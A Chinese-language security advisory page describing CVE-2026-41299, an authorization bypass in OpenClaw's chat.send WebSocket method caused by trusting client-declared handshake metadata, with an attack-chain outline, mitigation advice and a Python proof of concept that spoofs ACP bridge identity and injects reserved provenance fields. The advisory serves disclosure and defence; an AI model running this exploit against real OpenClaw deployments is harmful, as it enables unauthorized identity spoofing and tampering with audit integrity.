IPBUF安全漏洞报告
English
CVE-2026-41299 CVSS 7.1 高危

CVE-2026-41299 OpenClaw授权绕过漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-41299
漏洞类型
授权绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

授权绕过OpenClawWebSocket身份欺骗CVSS-7.1

漏洞概述

OpenClaw 2026年3月28日之前的版本在chat.send网关方法中存在授权绕过漏洞。系统错误地依赖WebSocket握手期间客户端自行声明的元数据来校验ACP(管理控制面板)专用的来源字段,而非验证服务端的实际授权状态。经过身份验证的操作员客户端可以通过在连接建立时操纵客户端元数据,伪造ACP身份标签,从而注入本应仅限于ACP网桥使用的保留来源字段。

技术细节

该漏洞的核心在于信任边界设置错误。OpenClaw在处理WebSocket连接时,将客户端在握手阶段提供的元数据(如身份标签)直接用于后续的访问控制决策,缺乏服务端的权威校验。攻击者首先需要获取一个低权限的操作员账户凭证。随后,在建立WebSocket连接时,攻击者修改握手请求,将元数据中的角色标识伪装为ACP组件。由于服务端仅检查此元数据,攻击者随后通过`chat.send`接口发送包含保留字段(如ACP来源)的消息时,系统会误以为这是合法的内部桥接请求。这导致攻击者能够绕过完整性检查,注入伪造的数据源信息,可能导致日志审计混乱或进一步的业务逻辑攻击。

攻击链分析

STEP 1
1. 获取凭证
攻击者获取一个有效的低权限操作员账户凭证(满足PR:L要求)。
STEP 2
2. 建立恶意连接
攻击者使用凭证发起WebSocket连接,并在握手请求的元数据中伪造ACP身份标签。
STEP 3
3. 注入保留字段
通过chat.send网关方法发送消息,并在消息体中包含仅ACP允许的保留来源字段。
STEP 4
4. 绕过验证
服务端错误地信任握手元数据,接受并处理了包含伪造来源字段的消息,导致完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json async def spoof_acp_identity(): # Target WebSocket endpoint uri = "ws://target-openclaw-instance:8080/ws" # Malicious metadata to spoof ACP identity during handshake # This exploits the lack of server-side verification spoofed_metadata = { "role": "admin", "origin": "acp_bridge", "is_internal": True } # Custom headers representing the self-declared metadata extra_headers = { "X-Client-Metadata": json.dumps(spoofed_metadata) } try: async with websockets.connect(uri, extra_headers=extra_headers) as websocket: print("[+] Connected to WebSocket with spoofed ACP metadata.") # Construct payload injecting reserved provenance fields payload = { "action": "chat.send", "channel": "general", "content": "This message has spoofed provenance", "provenance": { "acp_source": "admin_console", # Reserved field "bypass_acl": True # Reserved field } } await websocket.send(json.dumps(payload)) print("[+] Payload sent. Check if the server accepts the reserved provenance fields.") response = await websocket.recv() print(f"[+] Server response: {response}") except Exception as e: print(f"[-] Exploit failed: {e} if __name__ == "__main__": asyncio.get_event_loop().run_until_complete(spoof_acp_identity())

影响范围

OpenClaw < 2026.3.28

防御指南

临时缓解措施
如无法立即升级,建议在网络边界部署WAF规则,检测并拦截包含异常或特权元数据字段的WebSocket握手请求;同时加强对chat.send接口的日志审计,监控是否存在非预期的来源字段注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表